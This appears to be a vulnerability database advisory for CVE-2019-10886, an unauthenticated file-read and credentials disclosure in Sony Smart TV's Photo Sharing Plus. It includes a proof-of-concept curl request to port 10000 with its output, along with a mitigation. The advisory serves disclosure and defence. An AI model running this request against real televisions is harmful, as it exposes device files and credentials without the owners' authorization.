Sony Smart TV Photo Sharing Plus LJYT0010.JPG Credentials information disclosure

Summaryinfo

A vulnerability categorized as problematic has been discovered in Sony Smart TV. The affected element is an unknown function of the file /contentshare/image/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/LJYT0010.JPG of the component Photo Sharing Plus. The manipulation results in information disclosure (Credentials). This vulnerability is cataloged as CVE-2019-10886. The attack may be launched remotely. Furthermore, there is an exploit available. It is best to disable the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, was found in Sony Smart TV (Digital Media Player) (affected version unknown). Affected is an unknown functionality of the file /contentshare/image/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/LJYT0010.JPG of the component Photo Sharing Plus. The manipulation with an unknown input leads to a information disclosure vulnerability (Credentials). CWE is classifying the issue as CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. This is going to have an impact on confidentiality.

The bug was discovered 10/03/2018. The weakness was shared 04/23/2019 with xen1thLabs as Multiple vulnerabilities in Sony Smart TVs as confirmed mailinglist post (Bugtraq) via HackerOne. The advisory is shared for download at seclists.org. The vendor cooperated in the coordination of the public release. This vulnerability is traded as CVE-2019-10886 since 04/05/2019. The exploitability is told to be easy. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1592.

After immediately, there has been an exploit disclosed. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 202 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

root@kali:~# curl -v http://192.168.1.102:10000/contentshare/image/default.prop
Trying 192.168.1.102...
TCP_NODELAY set
Connected to 192.168.1.102 (192.168.1.102) port 10000 (#0)
> GET /contentshare/image/default.prop HTTP/1.1
> Host: 192.168.1.102:10000 
> User-Agent: curl/7.58.0
> Accept: /
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Length: 591
< Content-Type: application/octet-stream
<
# 
# ADDITIONAL_DEFAULT_PROPERTIES
#
ro.secure=1
security.perf_harden=1
ro.allow.mock.location=0
ro.debuggable=0 ro.zygote=zygote32
dalvik.vm.image-dex2oat-Xms=64m
dalvik.vm.image-dex2oat-Xmx=64m
dalvik.vm.dex2oat-Xms=64m dalvik.vm.dex2oat-Xmx=512m
ro.dalvik.vm.native.bridge=0 debug.atrace.tags.enableflags=0 
# 
# BOOTIMAGE_BUILD_PROPERTIES 
# 
ro.bootimage.build.date=2016? 11? 14? ??? 15:34:56 JST ro.bootimage.build.date.utc=1479105296     
ro.bootimage.build.fingerprint=Sony/BRAVIA_ATV2_PA/BRAVIA_ATV2:6.0.1/MMB29V.S50/1.6.0.06.14.0.00:user/release-keys 
persist.sys.usb.config=none

Closing connection 0

It is possible to mitigate the weakness by firewalling tcp/10000. The mailinglist post contains the following remark:

Sony confirms the vulnerabilities affects some models and "Sony plans to terminate Photo Sharing Plus service for all of models, and that completion date is scheduled for April 12th, 2019."

Further details are available at darkmatter.ae. The entries VDB-133856 and VDB-134183 are related to this item. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

• Digital Media Player

Vendor

• Sony

Name

• Smart TV

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion